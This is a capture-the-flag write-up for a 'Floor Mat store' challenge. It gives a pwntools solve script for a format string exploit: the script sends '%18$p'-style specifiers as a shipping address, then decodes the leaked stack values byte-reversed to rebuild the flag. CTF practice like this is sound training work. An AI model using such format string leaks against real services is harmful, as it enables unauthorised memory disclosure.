Welcome to the Floor Mat store! It's kind of like heaven.. for mats
Solution
Watch video for full solution (format string exploit), but here's a solve script (note the index will vary from local/remote, but you can just send %p * 100 or something instead).
from pwn import *
# Connect to server
io = process('./floormats')
flag = ''
io.sendlineafter(b'Enter your choice:\n', b'6')
io.sendlineafter(b'Please enter your shipping address:\n',
b'%18$p %19$p %20$p %21$p')
io.recvuntil(b'Your floor mat will be shipped to:\n\n')
response = io.recv(1000)
# Split response by spaces
for i, p in enumerate(response.split(b' ')):
try:
if not b'nil' in p:
try:
# Decode, reverse endianess and print
decoded = unhex(p.strip().decode()[2:])
reversed_hex = decoded[::-1]
print(str(i) + ": " + str(reversed_hex))
# Build up flag
flag += reversed_hex.decode()
except BaseException as e:
pass
except EOFError:
pass
# Print and close
info(flag)
io.close()